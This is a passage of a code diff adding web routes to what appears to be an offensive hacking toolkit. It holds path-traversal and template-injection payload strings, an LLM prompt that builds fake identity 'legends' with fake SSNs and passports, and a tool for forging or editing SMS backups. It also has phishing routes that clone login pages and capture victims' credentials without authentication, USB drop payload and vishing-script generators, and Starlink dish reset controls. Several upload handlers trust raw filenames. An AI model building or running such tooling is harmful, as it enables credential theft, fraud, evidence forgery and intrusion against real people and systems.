"..%252f..%252f..%252fetc/passwd",
|
||||
"/etc/passwd%00",
|
||||
],
|
||||
'ssti': [
|
||||
"{{7*7}}",
|
||||
"${7*7}",
|
||||
"{{config}}",
|
||||
"{{self.__class__.__mro__}}",
|
||||
"<%= 7*7 %>",
|
||||
"{{request.application.__globals__}}",
|
||||
],
|
||||
}
|
||||
|
||||
payloads = payloads_db.get(payload_type)
|
||||
if payloads is None:
|
||||
return jsonify({'error': f'Unknown payload type: {payload_type}'})
|
||||
|
||||
return jsonify({'type': payload_type, 'payloads': payloads})
|
||||
|
||||
|
||||
# ── Legendary Creator ─────────────────────────────────────────────────────────
|
||||
|
||||
_LEGEND_PROMPT = """\
|
||||
You are generating a completely fictional, synthetic person profile for software testing \
|
||||
and simulation purposes. Every detail must be internally consistent. Use real city names \
|
||||
and real school/university names that genuinely exist in those cities. All SSNs, passport \
|
||||
numbers, and IDs are obviously fake and for testing only.
|
||||
|
||||
SEED PARAMETERS (apply these if provided, otherwise invent):
|
||||
{seeds}
|
||||
|
||||
Generate ALL of the following sections in order. Be specific, thorough, and consistent. \
|
||||
Verify that graduation years match the DOB. Friend ages should be within 5 years of the \
|
||||
subject. Double-check that named schools exist in the stated cities.
|
||||
|
||||
## IDENTITY
|
||||
Full Legal Name:
|
||||
Preferred Name / Nickname:
|
||||
Date of Birth:
|
||||
Age:
|
||||
Gender:
|
||||
Nationality:
|
||||
Ethnicity:
|
||||
Fake SSN: [XXX-XX-XXXX]
|
||||
Fake Passport Number:
|
||||
Fake Driver's License: [State + alphanumeric]
|
||||
|
||||
## PHYSICAL DESCRIPTION
|
||||
Height:
|
||||
Weight:
|
||||
Build: [slim/athletic/average/stocky/heavyset]
|
||||
Eye Color:
|
||||
Hair Color & Style:
|
||||
Distinguishing Features: [birthmarks, scars, tattoos, or "None"]
|
||||
|
||||
## CONTACT INFORMATION
|
||||
Cell Phone: [(XXX) XXX-XXXX]
|
||||
Work Phone:
|
||||
Primary Email: [firstname.lastname@domain.com style]
|
||||
Secondary Email: [personal/fun email]
|
||||
Home Address: [Number Street, City, State ZIP — use a real city]
|
||||
City of Residence:
|
||||
|
||||
## ONLINE PRESENCE
|
||||
Primary Username: [one consistent handle used across platforms]
|
||||
Instagram Handle: @[handle] — [posting style and frequency, e.g. "posts 3x/week, mostly food and travel"]
|
||||
Twitter/X: @[handle] — [posting style, topics, follower count estimate]
|
||||
LinkedIn: linkedin.com/in/[handle] — [headline and connection count estimate]
|
||||
Facebook: [privacy setting + usage description]
|
||||
Reddit: u/[handle] — [list 3-4 subreddits they frequent with reasons]
|
||||
Gaming / Other: [platform + gamertag, or "N/A"]
|
||||
|
||||
## EDUCATION HISTORY
|
||||
[Chronological, earliest first. Confirm school names exist in stated cities.]
|
||||
Elementary School: [Real school name], [City, State] — [Years, e.g. 2001–2007]
|
||||
Middle School: [Real school name], [City, State] — [Years]
|
||||
High School: [Real school name], [City, State] — Graduated: [YYYY] — GPA: [X.X] — [1 extracurricular]
|
||||
Undergraduate: [Real university/college], [City, State] — [Major] — Graduated: [YYYY] — GPA: [X.X] — [2 activities/clubs]
|
||||
Graduate / Certifications: [if applicable, or "None"]
|
||||
|
||||
## EMPLOYMENT HISTORY
|
||||
[Most recent first. 2–4 positions. Include real or plausible company names.]
|
||||
Current: [Job Title] at [Company], [City, State] — [Year]–Present
|
||||
Role summary: [2 sentences on responsibilities]
|
||||
Previous 1: [Job Title] at [Company], [City, State] — [Year]–[Year]
|
||||
Role summary: [1 sentence]
|
||||
Previous 2: [if applicable]
|
||||
|
||||
## FAMILY
|
||||
Mother: [Full name], [Age], [Occupation], lives in [City, State]
|
||||
Father: [Full name], [Age], [Occupation or "Deceased (YYYY)"], lives in [City, State]
|
||||
Siblings: [Name (age) — brief description each, or "Only child"]
|
||||
Relationship Status: [Single / In a relationship with [Name] / Married to [Name] since [Year]]
|
||||
Children: [None, or Name (age) each]
|
||||
|
||||
## FRIENDS (5 close friends)
|
||||
[For each: Full name, age, occupation, city. How they met (be specific: class, job, app, event). \
|
||||
Relationship dynamic. One memorable shared experience.]
|
||||
1. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||||
2. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||||
3. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||||
4. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||||
5. [Full Name], [Age], [Occupation], [City] — Met: [specific how/when] — [dynamic] — [shared memory]
|
||||
|
||||
## HOBBIES & INTERESTS
|
||||
[7–9 hobbies with specific detail — not just "cooking" but "has been making sourdough for 2 years, \
|
||||
maintains a starter named 'Gerald', frequents r/sourdough". Include brand preferences, skill level, \
|
||||
communities involved in.]
|
||||
1.
|
||||
2.
|
||||
3.
|
||||
4.
|
||||
5.
|
||||
6.
|
||||
7.
|
||||
|
||||
## PERSONALITY & PSYCHOLOGY
|
||||
MBTI Type: [e.g. INFJ] — [brief explanation of how it shows in daily life]
|
||||
Enneagram: [e.g. Type 2w3]
|
||||
Key Traits: [5–7 adjectives, both positive and realistic flaws]
|
||||
Communication Style: [brief description]
|
||||
Deepest Fear: [specific, personal]
|
||||
Biggest Ambition: [specific]
|
||||
Political Leaning: [brief, not extreme]
|
||||
Spiritual / Religious: [brief]
|
||||
Quirks: [3 specific behavioral quirks — the more oddly specific the better]
|
||||
|
||||
## BACKSTORY NARRATIVE
|
||||
[250–350 word first-person "About Me" narrative. Write as if this person is introducing themselves \
|
||||
on a personal website or in a journal. Reference specific people, places, and memories from the \
|
||||
profile above for consistency. It should feel real, slightly imperfect, and human.]
|
||||
|
||||
"""
|
||||
|
||||
|
||||
@simulate_bp.route('/legendary-creator')
|
||||
@login_required
|
||||
def legendary_creator():
|
||||
return render_template('legendary_creator.html')
|
||||
|
||||
|
||||
@simulate_bp.route('/legendary/generate', methods=['POST'])
|
||||
@login_required
|
||||
def legendary_generate():
|
||||
"""Stream a Legend profile from the LLM via SSE."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
|
||||
# Build seed string from user inputs
|
||||
seed_parts = []
|
||||
for key, label in [
|
||||
('gender', 'Gender'), ('nationality', 'Nationality'), ('ethnicity', 'Ethnicity'),
|
||||
('age', 'Age'), ('profession', 'Profession/Industry'), ('city', 'City/Region'),
|
||||
('education', 'Education Level'), ('interests', 'Interests/Hobbies'),
|
||||
('notes', 'Additional Notes'),
|
||||
]:
|
||||
val = data.get(key, '').strip()
|
||||
if val:
|
||||
seed_parts.append(f"- {label}: {val}")
|
||||
|
||||
seeds = '\n'.join(seed_parts) if seed_parts else '(none — generate freely)'
|
||||
prompt = _LEGEND_PROMPT.format(seeds=seeds)
|
||||
|
||||
def generate():
|
||||
try:
|
||||
from core.llm import get_llm
|
||||
llm = get_llm()
|
||||
for token in llm.chat(prompt, stream=True):
|
||||
yield f"data: {json.dumps({'token': token})}\n\n"
|
||||
yield f"data: {json.dumps({'done': True})}\n\n"
|
||||
except Exception as exc:
|
||||
yield f"data: {json.dumps({'error': str(exc)})}\n\n"
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
304
web/routes/sms_forge.py
Normal file
304
web/routes/sms_forge.py
Normal file
@@ -0,0 +1,304 @@
|
||||
"""SMS Backup Forge routes."""
|
||||
import os
|
||||
import tempfile
|
||||
from flask import Blueprint, request, jsonify, render_template, send_file, current_app
|
||||
from web.auth import login_required
|
||||
|
||||
sms_forge_bp = Blueprint('sms_forge', __name__, url_prefix='/sms-forge')
|
||||
|
||||
_forge = None
|
||||
|
||||
|
||||
def _get_forge():
|
||||
global _forge
|
||||
if _forge is None:
|
||||
from modules.sms_forge import get_sms_forge
|
||||
_forge = get_sms_forge()
|
||||
return _forge
|
||||
|
||||
|
||||
@sms_forge_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('sms_forge.html')
|
||||
|
||||
|
||||
@sms_forge_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_forge().get_status())
|
||||
|
||||
|
||||
@sms_forge_bp.route('/messages')
|
||||
@login_required
|
||||
def messages():
|
||||
forge = _get_forge()
|
||||
address = request.args.get('address') or None
|
||||
date_from = request.args.get('date_from')
|
||||
date_to = request.args.get('date_to')
|
||||
keyword = request.args.get('keyword') or None
|
||||
date_from_int = int(date_from) if date_from else None
|
||||
date_to_int = int(date_to) if date_to else None
|
||||
if address or date_from_int or date_to_int or keyword:
|
||||
msgs = forge.find_messages(address, date_from_int, date_to_int, keyword)
|
||||
else:
|
||||
msgs = forge.get_messages()
|
||||
return jsonify({'ok': True, 'messages': msgs, 'count': len(msgs)})
|
||||
|
||||
|
||||
@sms_forge_bp.route('/sms', methods=['POST'])
|
||||
@login_required
|
||||
def add_sms():
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
result = forge.add_sms(
|
||||
address=data.get('address', ''),
|
||||
body=data.get('body', ''),
|
||||
msg_type=int(data.get('type', 1)),
|
||||
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
|
||||
contact_name=data.get('contact_name', '(Unknown)'),
|
||||
read=int(data.get('read', 1)),
|
||||
locked=int(data.get('locked', 0)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/mms', methods=['POST'])
|
||||
@login_required
|
||||
def add_mms():
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
attachments = data.get('attachments', [])
|
||||
result = forge.add_mms(
|
||||
address=data.get('address', ''),
|
||||
body=data.get('body', ''),
|
||||
attachments=attachments,
|
||||
msg_box=int(data.get('msg_box', 1)),
|
||||
timestamp=int(data['timestamp']) if data.get('timestamp') else None,
|
||||
contact_name=data.get('contact_name', '(Unknown)'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/conversation', methods=['POST'])
|
||||
@login_required
|
||||
def add_conversation():
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
result = forge.add_conversation(
|
||||
address=data.get('address', ''),
|
||||
contact_name=data.get('contact_name', '(Unknown)'),
|
||||
messages=data.get('messages', []),
|
||||
start_timestamp=int(data['start_timestamp']) if data.get('start_timestamp') else None,
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/generate', methods=['POST'])
|
||||
@login_required
|
||||
def generate():
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
result = forge.generate_conversation(
|
||||
address=data.get('address', ''),
|
||||
contact_name=data.get('contact_name', '(Unknown)'),
|
||||
template=data.get('template', ''),
|
||||
variables=data.get('variables', {}),
|
||||
start_timestamp=int(data['start_timestamp']) if data.get('start_timestamp') else None,
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/message/<int:idx>', methods=['PUT'])
|
||||
@login_required
|
||||
def modify_message(idx):
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
result = forge.modify_message(
|
||||
index=idx,
|
||||
new_body=data.get('body'),
|
||||
new_timestamp=int(data['timestamp']) if data.get('timestamp') else None,
|
||||
new_contact=data.get('contact_name'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/message/<int:idx>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_message(idx):
|
||||
forge = _get_forge()
|
||||
result = forge.delete_messages([idx])
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/replace-contact', methods=['POST'])
|
||||
@login_required
|
||||
def replace_contact():
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
result = forge.replace_contact(
|
||||
old_address=data.get('old_address', ''),
|
||||
new_address=data.get('new_address', ''),
|
||||
new_name=data.get('new_name'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/shift-timestamps', methods=['POST'])
|
||||
@login_required
|
||||
def shift_timestamps():
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
address = data.get('address') or None
|
||||
result = forge.shift_timestamps(
|
||||
address=address,
|
||||
offset_minutes=int(data.get('offset_minutes', 0)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/import', methods=['POST'])
|
||||
@login_required
|
||||
def import_file():
|
||||
forge = _get_forge()
|
||||
if 'file' not in request.files:
|
||||
return jsonify({'ok': False, 'error': 'No file uploaded'})
|
||||
f = request.files['file']
|
||||
if not f.filename:
|
||||
return jsonify({'ok': False, 'error': 'Empty filename'})
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
|
||||
save_path = os.path.join(upload_dir, f.filename)
|
||||
f.save(save_path)
|
||||
ext = os.path.splitext(f.filename)[1].lower()
|
||||
if ext == '.csv':
|
||||
result = forge.import_csv(save_path)
|
||||
else:
|
||||
result = forge.import_xml(save_path)
|
||||
try:
|
||||
os.unlink(save_path)
|
||||
except OSError:
|
||||
pass
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/export/<fmt>')
|
||||
@login_required
|
||||
def export_file(fmt):
|
||||
forge = _get_forge()
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
|
||||
if fmt == 'csv':
|
||||
out_path = os.path.join(upload_dir, 'sms_forge_export.csv')
|
||||
result = forge.export_csv(out_path)
|
||||
mime = 'text/csv'
|
||||
dl_name = 'sms_backup.csv'
|
||||
else:
|
||||
out_path = os.path.join(upload_dir, 'sms_forge_export.xml')
|
||||
result = forge.export_xml(out_path)
|
||||
mime = 'application/xml'
|
||||
dl_name = 'sms_backup.xml'
|
||||
if not result.get('ok'):
|
||||
return jsonify(result)
|
||||
return send_file(out_path, mimetype=mime, as_attachment=True, download_name=dl_name)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/merge', methods=['POST'])
|
||||
@login_required
|
||||
def merge():
|
||||
forge = _get_forge()
|
||||
files = request.files.getlist('files')
|
||||
if not files:
|
||||
return jsonify({'ok': False, 'error': 'No files uploaded'})
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
|
||||
saved = []
|
||||
for f in files:
|
||||
if f.filename:
|
||||
path = os.path.join(upload_dir, f'merge_{f.filename}')
|
||||
f.save(path)
|
||||
saved.append(path)
|
||||
result = forge.merge_backups(saved)
|
||||
for p in saved:
|
||||
try:
|
||||
os.unlink(p)
|
||||
except OSError:
|
||||
pass
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/templates')
|
||||
@login_required
|
||||
def templates():
|
||||
return jsonify(_get_forge().get_templates())
|
||||
|
||||
|
||||
@sms_forge_bp.route('/stats')
|
||||
@login_required
|
||||
def stats():
|
||||
return jsonify(_get_forge().get_backup_stats())
|
||||
|
||||
|
||||
@sms_forge_bp.route('/validate', methods=['POST'])
|
||||
@login_required
|
||||
def validate():
|
||||
forge = _get_forge()
|
||||
if 'file' not in request.files:
|
||||
return jsonify({'ok': False, 'error': 'No file uploaded'})
|
||||
f = request.files['file']
|
||||
if not f.filename:
|
||||
return jsonify({'ok': False, 'error': 'Empty filename'})
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
|
||||
save_path = os.path.join(upload_dir, f'validate_{f.filename}')
|
||||
f.save(save_path)
|
||||
result = forge.validate_backup(save_path)
|
||||
try:
|
||||
os.unlink(save_path)
|
||||
except OSError:
|
||||
pass
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/bulk-import', methods=['POST'])
|
||||
@login_required
|
||||
def bulk_import():
|
||||
forge = _get_forge()
|
||||
if 'file' not in request.files:
|
||||
return jsonify({'ok': False, 'error': 'No file uploaded'})
|
||||
f = request.files['file']
|
||||
if not f.filename:
|
||||
return jsonify({'ok': False, 'error': 'Empty filename'})
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', tempfile.gettempdir())
|
||||
save_path = os.path.join(upload_dir, f.filename)
|
||||
f.save(save_path)
|
||||
result = forge.bulk_add(save_path)
|
||||
try:
|
||||
os.unlink(save_path)
|
||||
except OSError:
|
||||
pass
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/templates/save', methods=['POST'])
|
||||
@login_required
|
||||
def save_template():
|
||||
data = request.get_json(silent=True) or {}
|
||||
forge = _get_forge()
|
||||
key = data.get('key', '').strip()
|
||||
template_data = data.get('template', {})
|
||||
if not key:
|
||||
return jsonify({'ok': False, 'error': 'Template key is required'})
|
||||
result = forge.save_custom_template(key, template_data)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/templates/<key>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_template(key):
|
||||
forge = _get_forge()
|
||||
result = forge.delete_custom_template(key)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@sms_forge_bp.route('/clear', methods=['POST'])
|
||||
@login_required
|
||||
def clear():
|
||||
_get_forge().clear_messages()
|
||||
return jsonify({'ok': True})
|
||||
215
web/routes/social_eng.py
Normal file
215
web/routes/social_eng.py
Normal file
@@ -0,0 +1,215 @@
|
||||
"""Social Engineering routes."""
|
||||
|
||||
from flask import Blueprint, request, jsonify, render_template, Response, redirect
|
||||
from web.auth import login_required
|
||||
|
||||
social_eng_bp = Blueprint('social_eng', __name__, url_prefix='/social-eng')
|
||||
|
||||
|
||||
def _get_toolkit():
|
||||
from modules.social_eng import get_social_eng
|
||||
return get_social_eng()
|
||||
|
||||
|
||||
# ── Page ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('social_eng.html')
|
||||
|
||||
|
||||
# ── Page Cloning ─────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/clone', methods=['POST'])
|
||||
@login_required
|
||||
def clone_page():
|
||||
"""Clone a login page."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
url = data.get('url', '').strip()
|
||||
if not url:
|
||||
return jsonify({'ok': False, 'error': 'URL required'})
|
||||
return jsonify(_get_toolkit().clone_page(url))
|
||||
|
||||
|
||||
@social_eng_bp.route('/pages', methods=['GET'])
|
||||
@login_required
|
||||
def list_pages():
|
||||
"""List all cloned pages."""
|
||||
return jsonify({'ok': True, 'pages': _get_toolkit().list_cloned_pages()})
|
||||
|
||||
|
||||
@social_eng_bp.route('/pages/<page_id>', methods=['GET'])
|
||||
@login_required
|
||||
def get_page(page_id):
|
||||
"""Get cloned page HTML content."""
|
||||
html = _get_toolkit().serve_cloned_page(page_id)
|
||||
if html is None:
|
||||
return jsonify({'ok': False, 'error': 'Page not found'})
|
||||
return jsonify({'ok': True, 'html': html, 'page_id': page_id})
|
||||
|
||||
|
||||
@social_eng_bp.route('/pages/<page_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_page(page_id):
|
||||
"""Delete a cloned page."""
|
||||
if _get_toolkit().delete_cloned_page(page_id):
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'ok': False, 'error': 'Page not found'})
|
||||
|
||||
|
||||
# ── Credential Capture (NO AUTH — accessed by phish targets) ─────────────────
|
||||
|
||||
@social_eng_bp.route('/capture/<page_id>', methods=['POST'])
|
||||
def capture_creds(page_id):
|
||||
"""Capture submitted credentials from a cloned page."""
|
||||
form_data = dict(request.form)
|
||||
entry = _get_toolkit().capture_creds(
|
||||
page_id,
|
||||
form_data,
|
||||
ip=request.remote_addr,
|
||||
user_agent=request.headers.get('User-Agent', ''),
|
||||
)
|
||||
# Show a generic success page to the victim
|
||||
return """<!DOCTYPE html><html><head><title>Success</title>
|
||||
<style>body{font-family:sans-serif;display:flex;justify-content:center;align-items:center;min-height:100vh;background:#f5f5f5}
|
||||
.card{background:#fff;padding:40px;border-radius:8px;text-align:center;box-shadow:0 2px 8px rgba(0,0,0,0.1)}
|
||||
</style></head><body><div class="card"><h2>Authentication Successful</h2>
|
||||
<p>You will be redirected shortly...</p></div></body></html>"""
|
||||
|
||||
|
||||
# ── Captures ─────────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/captures', methods=['GET'])
|
||||
@login_required
|
||||
def get_captures():
|
||||
"""Get captured credentials, optionally filtered by page_id."""
|
||||
page_id = request.args.get('page_id', '').strip()
|
||||
captures = _get_toolkit().get_captures(page_id or None)
|
||||
return jsonify({'ok': True, 'captures': captures})
|
||||
|
||||
|
||||
@social_eng_bp.route('/captures', methods=['DELETE'])
|
||||
@login_required
|
||||
def clear_captures():
|
||||
"""Clear captured credentials."""
|
||||
page_id = request.args.get('page_id', '').strip()
|
||||
count = _get_toolkit().clear_captures(page_id or None)
|
||||
return jsonify({'ok': True, 'cleared': count})
|
||||
|
||||
|
||||
# ── QR Code ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/qr', methods=['POST'])
|
||||
@login_required
|
||||
def generate_qr():
|
||||
"""Generate a QR code image."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
url = data.get('url', '').strip()
|
||||
if not url:
|
||||
return jsonify({'ok': False, 'error': 'URL required'})
|
||||
label = data.get('label', '').strip() or None
|
||||
size = int(data.get('size', 300))
|
||||
size = max(100, min(800, size))
|
||||
return jsonify(_get_toolkit().generate_qr(url, label=label, size=size))
|
||||
|
||||
|
||||
# ── USB Payloads ─────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/usb', methods=['POST'])
|
||||
@login_required
|
||||
def generate_usb():
|
||||
"""Generate a USB drop payload."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
payload_type = data.get('type', '').strip()
|
||||
if not payload_type:
|
||||
return jsonify({'ok': False, 'error': 'Payload type required'})
|
||||
params = data.get('params', {})
|
||||
return jsonify(_get_toolkit().generate_usb_payload(payload_type, params))
|
||||
|
||||
|
||||
# ── Pretexts ─────────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/pretexts', methods=['GET'])
|
||||
@login_required
|
||||
def get_pretexts():
|
||||
"""List pretext templates, optionally filtered by category."""
|
||||
category = request.args.get('category', '').strip() or None
|
||||
pretexts = _get_toolkit().get_pretexts(category)
|
||||
return jsonify({'ok': True, 'pretexts': pretexts})
|
||||
|
||||
|
||||
# ── Campaigns ────────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/campaign', methods=['POST'])
|
||||
@login_required
|
||||
def create_campaign():
|
||||
"""Create a new campaign."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', '').strip()
|
||||
if not name:
|
||||
return jsonify({'ok': False, 'error': 'Campaign name required'})
|
||||
vector = data.get('vector', 'email').strip()
|
||||
targets = data.get('targets', [])
|
||||
if isinstance(targets, str):
|
||||
targets = [t.strip() for t in targets.split(',') if t.strip()]
|
||||
pretext = data.get('pretext', '').strip() or None
|
||||
campaign = _get_toolkit().create_campaign(name, vector, targets, pretext)
|
||||
return jsonify({'ok': True, 'campaign': campaign})
|
||||
|
||||
|
||||
@social_eng_bp.route('/campaigns', methods=['GET'])
|
||||
@login_required
|
||||
def list_campaigns():
|
||||
"""List all campaigns."""
|
||||
return jsonify({'ok': True, 'campaigns': _get_toolkit().list_campaigns()})
|
||||
|
||||
|
||||
@social_eng_bp.route('/campaign/<campaign_id>', methods=['GET'])
|
||||
@login_required
|
||||
def get_campaign(campaign_id):
|
||||
"""Get campaign details."""
|
||||
campaign = _get_toolkit().get_campaign(campaign_id)
|
||||
if not campaign:
|
||||
return jsonify({'ok': False, 'error': 'Campaign not found'})
|
||||
return jsonify({'ok': True, 'campaign': campaign})
|
||||
|
||||
|
||||
@social_eng_bp.route('/campaign/<campaign_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_campaign(campaign_id):
|
||||
"""Delete a campaign."""
|
||||
if _get_toolkit().delete_campaign(campaign_id):
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'ok': False, 'error': 'Campaign not found'})
|
||||
|
||||
|
||||
# ── Vishing ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/vishing', methods=['GET'])
|
||||
@login_required
|
||||
def list_vishing():
|
||||
"""List available vishing scenarios."""
|
||||
return jsonify({'ok': True, 'scenarios': _get_toolkit().list_vishing_scenarios()})
|
||||
|
||||
|
||||
@social_eng_bp.route('/vishing/<scenario>', methods=['GET'])
|
||||
@login_required
|
||||
def get_vishing_script(scenario):
|
||||
"""Get a vishing script for a scenario."""
|
||||
target_info = {}
|
||||
for key in ('target_name', 'caller_name', 'phone', 'bank_name',
|
||||
'vendor_name', 'exec_name', 'exec_title', 'amount'):
|
||||
val = request.args.get(key, '').strip()
|
||||
if val:
|
||||
target_info[key] = val
|
||||
return jsonify(_get_toolkit().generate_vishing_script(scenario, target_info))
|
||||
|
||||
|
||||
# ── Stats ────────────────────────────────────────────────────────────────────
|
||||
|
||||
@social_eng_bp.route('/stats', methods=['GET'])
|
||||
@login_required
|
||||
def get_stats():
|
||||
"""Get overall statistics."""
|
||||
return jsonify({'ok': True, 'stats': _get_toolkit().get_stats()})
|
||||
239
web/routes/starlink_hack.py
Normal file
239
web/routes/starlink_hack.py
Normal file
@@ -0,0 +1,239 @@
|
||||
"""Starlink Terminal Security Analysis routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
starlink_hack_bp = Blueprint('starlink_hack', __name__, url_prefix='/starlink-hack')
|
||||
|
||||
_mgr = None
|
||||
|
||||
|
||||
def _get_mgr():
|
||||
global _mgr
|
||||
if _mgr is None:
|
||||
from modules.starlink_hack import get_starlink_hack
|
||||
_mgr = get_starlink_hack()
|
||||
return _mgr
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('starlink_hack.html')
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
return jsonify(_get_mgr().get_status())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/discover', methods=['POST'])
|
||||
@login_required
|
||||
def discover():
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip')
|
||||
return jsonify(_get_mgr().discover_dish(ip=ip))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/dish-status')
|
||||
@login_required
|
||||
def dish_status():
|
||||
return jsonify(_get_mgr().get_dish_status())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/dish-info')
|
||||
@login_required
|
||||
def dish_info():
|
||||
return jsonify(_get_mgr().get_dish_info())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/network')
|
||||
@login_required
|
||||
def network():
|
||||
return jsonify(_get_mgr().get_network_info())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/scan-ports', methods=['POST'])
|
||||
@login_required
|
||||
def scan_ports():
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target')
|
||||
return jsonify(_get_mgr().scan_dish_ports(target=target))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/grpc/enumerate', methods=['POST'])
|
||||
@login_required
|
||||
def grpc_enumerate():
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host')
|
||||
port = int(data['port']) if data.get('port') else None
|
||||
return jsonify(_get_mgr().grpc_enumerate(host=host, port=port))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/grpc/call', methods=['POST'])
|
||||
@login_required
|
||||
def grpc_call():
|
||||
data = request.get_json(silent=True) or {}
|
||||
method = data.get('method', '')
|
||||
params = data.get('params')
|
||||
if not method:
|
||||
return jsonify({'ok': False, 'error': 'method is required'})
|
||||
return jsonify(_get_mgr().grpc_call(method, params))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/grpc/stow', methods=['POST'])
|
||||
@login_required
|
||||
def grpc_stow():
|
||||
return jsonify(_get_mgr().stow_dish())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/grpc/unstow', methods=['POST'])
|
||||
@login_required
|
||||
def grpc_unstow():
|
||||
return jsonify(_get_mgr().unstow_dish())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/grpc/reboot', methods=['POST'])
|
||||
@login_required
|
||||
def grpc_reboot():
|
||||
return jsonify(_get_mgr().reboot_dish())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/grpc/factory-reset', methods=['POST'])
|
||||
@login_required
|
||||
def grpc_factory_reset():
|
||||
data = request.get_json(silent=True) or {}
|
||||
confirm = data.get('confirm', False)
|
||||
return jsonify(_get_mgr().factory_reset(confirm=confirm))
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/firmware/check', methods=['POST'])
|
||||
@login_required
|
||||
def firmware_check():
|
||||
return jsonify(_get_mgr().check_firmware_version())
|
||||
|
||||
|
||||
@starlink_hack_bp.route('/firmware/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def firmware_analyze():
|
||||
import os
|
||||
from flask import current_app
|
||||
if 'file' in request.files:
|
||||
f = request.files['file']
|
||||
if f.filename:
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
|
||||
save_path = os.path.join(upload_dir, f.filename)
|
||||
f.save(save_path)
|
||||
return jsonify(_get_mgr().analyze_firmware(save_path))
|
||||
data = request.get_json(silent=True) or {}
|
||||
fw_path = data.get('path', '')
|
||||
if not fw_path:
|
||||
